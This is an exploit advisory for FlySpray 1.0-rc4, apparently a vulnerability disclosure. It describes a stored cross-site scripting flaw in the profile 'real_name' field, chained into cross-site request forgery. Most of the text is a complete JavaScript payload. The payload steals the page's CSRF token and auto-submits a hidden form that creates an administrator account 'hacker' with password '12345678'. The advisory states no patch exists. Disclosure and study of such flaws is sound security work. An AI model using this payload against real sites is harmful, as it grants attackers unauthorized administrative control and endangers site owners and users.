FlySpray 1.0-rc4 – Cross-Site Scripting / Cross-Site Request Forgery
# Exploit Title: XSRF Stored FlySpray 1.0-rc4 (XSS2CSRF add admin account) # Date: 19/04/2017 # Exploit Author: Cyril Vallicari / HTTPCS / ZIWIT : https://www.openoffice.org # Version: 1.0-rc4 # Tested on: Windows 7 x64 SP1 / Kali Linux Description : A vulnerability has been discovered in Flyspray , which can be exploited by malicious people to conduct cross-site scripting attacks. Input passed via the 'real_name' parameter to '/index.php?do=myprofile' is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. The script is executed on the parameter page AND on any page that allow the user to put a comment. This XSS vector allow to execute scripts to gather the CSRF token and submit a form to create a new admin Here's the script : var tok = document.getElementsByName('csrftoken')[0].value; var txt = '<form method="POST" id="hacked_form" action="index.php?do=admin&area=newuser">' txt += '<input type="hidden" name="action" value="admin.newuser"/>' txt += '<input type="hidden" name="do" value="admin"/>' txt += '<input type="hidden" name="area" value="newuser"/>' txt += '<input type="hidden" name="user_name" value="hacker"/>' txt += '<input type="hidden" name="csrftoken" value="' + tok + '"/>' txt += '<input type="hidden" name="user_pass" value="12345678"/>' txt += '<input type="hidden" name="user_pass2" value="12345678"/>' txt += '<input type="hidden" name="real_name" value="root"/>' txt += '<input type="hidden" name="email_address" value="root@root.com"/>' txt += '<input type="hidden" name="verify_email_address" value=" root@root.com"/>' txt += '<input type="hidden" name="jabber_id" value=""/>' txt += '<input type="hidden" name="notify_type" value="0"/>' txt += '<input type="hidden" name="time_zone" value="0"/>' txt += '<input type="hidden" name="group_in" value="1"/>' txt += '</form>' var d1 = document.getElementById('menu'); d1.insertAdjacentHTML('afterend', txt); document.getElementById("hacked_form").submit(); This will create a new admin account, hacker:12345678 POC video : *https://www.youtube.com/watch?v=eCf9a0QpnPs Patch : No patch yet |